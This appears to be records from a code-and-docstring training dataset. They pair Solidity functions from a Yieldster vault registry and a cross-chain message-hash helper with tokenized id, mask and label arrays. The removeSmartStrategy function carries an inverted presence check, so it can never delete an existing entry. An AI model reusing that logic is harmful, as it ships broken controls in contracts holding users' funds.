require(_isProtocolPresent(protocol), "Protocol not supported by Yieldster"); vaultStrategyEnabledProtocols[msg.sender][_vaultStrategy][protocol] = false; } for (uint256 i = 0; i < _assetsToBeEnabled.length; i++) { address asset = _assetsToBeEnabled[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = true; vaults[msg.sender].vaultDepositAssets[asset] = true; vaults[msg.sender].vaultWithdrawalAssets[asset] = true; } } /// @dev Function to disable the vault strategies. /// @param _strategyAddress Address of the strategy. /// @param _assetsToBeDisabled List of assets that have to be disabled along with the strategy. function disableVaultStrategy(address _strategyAddress, address[] memory _assetsToBeDisabled) public { require(vaults[msg.sender].created, "Vault not present"); require(strategies[_strategyAddress].created, "Strategy not present"); require(vaults[msg.sender].vaultEnabledStrategy[_strategyAddress], "Strategy was not enabled"); vaults[msg.sender].vaultEnabledStrategy[_strategyAddress] = false; for (uint256 i = 0; i < _assetsToBeDisabled.length; i++) { address asset = _assetsToBeDisabled[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = false; vaults[msg.sender].vaultDepositAssets[asset] = false; vaults[msg.sender].vaultWithdrawalAssets[asset] = false; } } /// @dev Function to set smart strategy applied to the vault. /// @param _smartStrategyAddress Address of the smart strategy. /// @param _type type of smart strategy(deposit or withdraw). function setVaultSmartStrategy(address _smartStrategyAddress, uint256 _type) public { require(vaults[msg.sender].created, "Vault not present"); require(_isSmartStrategyPresent(_smartStrategyAddress),"Smart Strategy not Supported by Yieldster"); if(_type == 1){ vaults[msg.sender].depositStrategy = _smartStrategyAddress; } else if(_type == 2){ vaults[msg.sender].withdrawStrategy = _smartStrategyAddress; } else{ revert("Invalid type provided"); } } /// @dev Function to check if a particular protocol is enabled in a strategy for a vault. /// @param _vaultAddress Address of the vault. /// @param _strategyAddress Address of the strategy. /// @param _protocolAddress Address of the protocol to check. function _isStrategyProtocolEnabled( address _vaultAddress, address _strategyAddress, address _protocolAddress ) public view returns(bool) { if( vaults[_vaultAddress].created && strategies[_strategyAddress].created && protocols[_protocolAddress].created && vaults[_vaultAddress].vaultEnabledStrategy[_strategyAddress] && vaultStrategyEnabledProtocols[_vaultAddress][_strategyAddress][_protocolAddress]){ return true; } else{ return false; } } /// @dev Function to check if a strategy is enabled for the vault. /// @param _vaultAddress Address of the vault. /// @param _strategyAddress Address of the strategy. function _isStrategyEnabled( address _vaultAddress, address _strategyAddress ) public view returns(bool) { if(vaults[_vaultAddress].created && strategies[_strategyAddress].created && vaults[_vaultAddress].vaultEnabledStrategy[_strategyAddress]){ return true; } else{ return false; } } /// @dev Function to check if the asset is supported by the vault. /// @param cleanUpAsset Address of the asset. function _isVaultAsset(address cleanUpAsset) public view returns(bool) { require(vaults[msg.sender].created, "Vault is not present"); return vaults[msg.sender].vaultAssets[cleanUpAsset]; } // Assets /// @dev Function to check if an asset is supported by Yieldster. /// @param _address Address of the asset. function _isAssetPresent(address _address) private view returns(bool) { return assets[_address].created; } /// @dev Function to add an asset to the Yieldster. /// @param _symbol Symbol of the asset. /// @param _name Name of the asset. /// @param _tokenAddress Address of the asset. function addAsset( string memory _symbol, string memory _name, address _tokenAddress ) public onlyManager { require(!_isAssetPresent(_tokenAddress),"Asset already present!"); Asset memory newAsset = Asset({name:_name, symbol:_symbol, created:true}); assets[_tokenAddress] = newAsset; } /// @dev Function to remove an asset from the Yieldster. /// @param _tokenAddress Address of the asset. function removeAsset(address _tokenAddress) public onlyManager { require(_isAssetPresent(_tokenAddress),"Asset not present!"); delete assets[_tokenAddress]; } /// @dev Function to check if an asset is supported deposit asset in the vault. /// @param _assetAddress Address of the asset. function isDepositAsset(address _assetAddress) public view returns(bool) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].vaultDepositAssets[_assetAddress]; } /// @dev Function to check if an asset is supported withdrawal asset in the vault. /// @param _assetAddress Address of the asset. function isWithdrawalAsset(address _assetAddress) public view returns(bool) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].vaultWithdrawalAssets[_assetAddress]; } //Strategies /// @dev Function to check if a strategy is supported by Yieldster. /// @param _address Address of the strategy. function _isStrategyPresent(address _address) private view returns(bool) { return strategies[_address].created; } /// @dev Function to add a strategy to Yieldster. /// @param _strategyName Name of the strategy. /// @param _strategyAddress Address of the strategy. /// @param _strategyAddress List of protocols present in the strategy. /// @param _minter Address of strategy minter. /// @param _executor Address of strategy executor. function addStrategy( string memory _strategyName, address _strategyAddress, address[] memory _strategyProtocols, address _minter, address _executor, address _benefeciary, uint256 _managementFeePercentage ) public onlyManager { require(!_isStrategyPresent(_strategyAddress),"Strategy already present!"); Strategy memory newStrategy = Strategy({ strategyName:_strategyName, created:true, minter:_minter, executor:_executor, benefeciary:_benefeciary, managementFeePercentage: _managementFeePercentage}); strategies[_strategyAddress] = newStrategy; minterStrategyMap[_minter] = _strategyAddress; for (uint256 i = 0; i < _strategyProtocols.length; i++) { address protocol = _strategyProtocols[i]; require(_isProtocolPresent(protocol), "Protocol not supported by Yieldster"); strategies[_strategyAddress].strategyProtocols[protocol] = true; } } /// @dev Function to remove a strategy from Yieldster. /// @param _strategyAddress Address of the strategy. function removeStrategy(address _strategyAddress) public onlyManager { require(_isStrategyPresent(_strategyAddress),"Strategy not present!"); delete strategies[_strategyAddress]; } /// @dev Function to get strategy executor address. /// @param _strategy Address of the strategy. function strategyExecutor(address _strategy) external view returns(address) { return strategies[_strategy].executor; } /// @dev Function to change executor of strategy. /// @param _strategyAddress Address of the strategy. /// @param _executor Address of the executor. function changeStrategyExecutor(address _strategyAddress, address _executor) public onlyManager { require(_isStrategyPresent(_strategyAddress),"Strategy not present!"); strategies[_strategyAddress].executor = _executor; } //Smart Strategy /// @dev Function to check if a smart strategy is supported by Yieldster. /// @param _address Address of the smart strategy. function _isSmartStrategyPresent(address _address) private view returns(bool) { return smartStrategies[_address].created; } /// @dev Function to add a smart strategy to Yieldster. /// @param _smartStrategyName Name of the smart strategy. /// @param _smartStrategyAddress Address of the smart strategy. function addSmartStrategy( string memory _smartStrategyName, address _smartStrategyAddress, address _minter, address _executor ) public onlyManager { require(!_isSmartStrategyPresent(_smartStrategyAddress),"Smart Strategy already present!"); SmartStrategy memory newSmartStrategy = SmartStrategy ({ smartStrategyName : _smartStrategyName, minter : _minter, executor : _executor, created : true }); smartStrategies[_smartStrategyAddress] = newSmartStrategy; minterStrategyMap[_minter] = _smartStrategyAddress; } /// @dev Function to remove a smart strategy from Yieldster. /// @param _smartStrategyAddress Address of the smart strategy. function removeSmartStrategy(address _smartStrategyAddress) public onlyManager { require(!_isSmartStrategyPresent(_smartStrategyAddress),"Smart Strategy not present"); delete smartStrategies[_smartStrategyAddress]; } /// @dev Function to get ssmart strategy executor address. /// @param _smartStrategy Address of the strategy. function smartStrategyExecutor(address _smartStrategy) external view returns(address) { return smartStrategies[_smartStrategy].executor; } /// @dev Function to change executor of smart strategy. /// @param _smartStrategy Address of the smart strategy. /// @param _executor Address of the executor. function changeSmartStrategyExecutor(address _smartStrategy, address _executor) public onlyManager { require(_isSmartStrategyPresent(_smartStrategy),"Smart Strategy not present!"); smartStrategies[_smartStrategy].executor = _executor; } // Protocols /// @dev Function to check if a protocol is supported by Yieldster. /// @param _address Address of the protocol. function _isProtocolPresent(address _address) private view returns(bool) { return protocols[_address].created; } /// @dev Function to add a protocol to Yieldster. /// @param _symbol symbol of the protocol. /// @param _name Name of the protocol. /// @param _protocolAddress Address of the protocol. function addProtocol( string memory _symbol, string memory _name, address _protocolAddress ) public onlyManager { require(!_isProtocolPresent(_protocolAddress),"Protocol already present!"); Protocol memory newProtocol = Protocol({ name:_name, created:true, symbol:_symbol }); protocols[_protocolAddress] = newProtocol; } /// @dev Function to remove a protocol from Yieldster. /// @param _protocolAddress Address of the protocol. function removeProtocol(address _protocolAddress) public onlyManager { require(_isProtocolPresent(_protocolAddress),"Protocol not present!"); delete protocols[_protocolAddress]; } }
@dev Function to set smart strategy applied to the vault. @param _smartStrategyAddress Address of the smart strategy. @param _type type of smart strategy(deposit or withdraw).
function setVaultSmartStrategy(address _smartStrategyAddress, uint256 _type) public { require(vaults[msg.sender].created, "Vault not present"); require(_isSmartStrategyPresent(_smartStrategyAddress),"Smart Strategy not Supported by Yieldster"); if(_type == 1){ vaults[msg.sender].depositStrategy = _smartStrategyAddress; } else if(_type == 2){ vaults[msg.sender].withdrawStrategy = _smartStrategyAddress; } else{ revert("Invalid type provided"); } }
5,938,222
[ 1, 2083, 358, 444, 13706, 6252, 6754, 358, 326, 9229, 18, 225, 389, 26416, 4525, 1887, 5267, 434, 326, 13706, 6252, 18, 225, 389, 723, 618, 434, 13706, 6252, 12, 323, 1724, 578, 598, 9446, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 12003, 23824, 4525, 12, 2867, 389, 26416, 4525, 1887, 16, 2254, 5034, 389, 723, 13, 203, 3639, 1071, 203, 565, 288, 203, 3639, 2583, 12, 26983, 87, 63, 3576, 18, 15330, 8009, 4824, 16, 315, 12003, 486, 3430, 8863, 203, 3639, 2583, 24899, 291, 23824, 4525, 6351, 24899, 26416, 4525, 1887, 3631, 6, 23824, 19736, 486, 19503, 635, 31666, 8190, 8863, 203, 3639, 309, 24899, 723, 422, 404, 15329, 203, 5411, 9229, 87, 63, 3576, 18, 15330, 8009, 323, 1724, 4525, 273, 389, 26416, 4525, 1887, 31, 203, 3639, 289, 203, 3639, 469, 309, 24899, 723, 422, 576, 15329, 203, 5411, 9229, 87, 63, 3576, 18, 15330, 8009, 1918, 9446, 4525, 273, 389, 26416, 4525, 1887, 31, 203, 3639, 289, 203, 3639, 469, 95, 203, 5411, 15226, 2932, 1941, 618, 2112, 8863, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xcDa8C9991f725fF4fa6369FBC0A4F1Ab51Eae354/sources/omLinkFlat.sol
* @dev function that returns the hash of the encoded message @param networkId ID of the network @param token the address of the token's contract @param from the address of the sender @param to the address of the receiver @param amount the amount of tokens @param nonce the nonce of the message @return bytes32 message hash/
function getMessageHash( uint256 networkId, address token, address from, address to, uint256 amount, uint256 nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(networkId,token,from,to,amount,nonce)); }
3,142,343
[ 1, 915, 716, 1135, 326, 1651, 434, 326, 3749, 883, 225, 2483, 548, 1599, 434, 326, 2483, 225, 1147, 326, 1758, 434, 326, 1147, 1807, 6835, 225, 628, 326, 1758, 434, 326, 5793, 225, 358, 326, 1758, 434, 326, 5971, 225, 3844, 326, 3844, 434, 2430, 225, 7448, 326, 7448, 434, 326, 883, 327, 1731, 1578, 883, 1651, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2381, 2310, 12, 203, 3639, 2254, 5034, 2483, 548, 16, 7010, 3639, 1758, 1147, 16, 7010, 3639, 1758, 628, 16, 7010, 3639, 1758, 358, 16, 7010, 3639, 2254, 5034, 3844, 16, 7010, 3639, 2254, 5034, 7448, 203, 565, 262, 203, 3639, 1071, 16618, 1135, 261, 3890, 1578, 13, 203, 565, 288, 203, 3639, 327, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 5185, 548, 16, 2316, 16, 2080, 16, 869, 16, 8949, 16, 12824, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]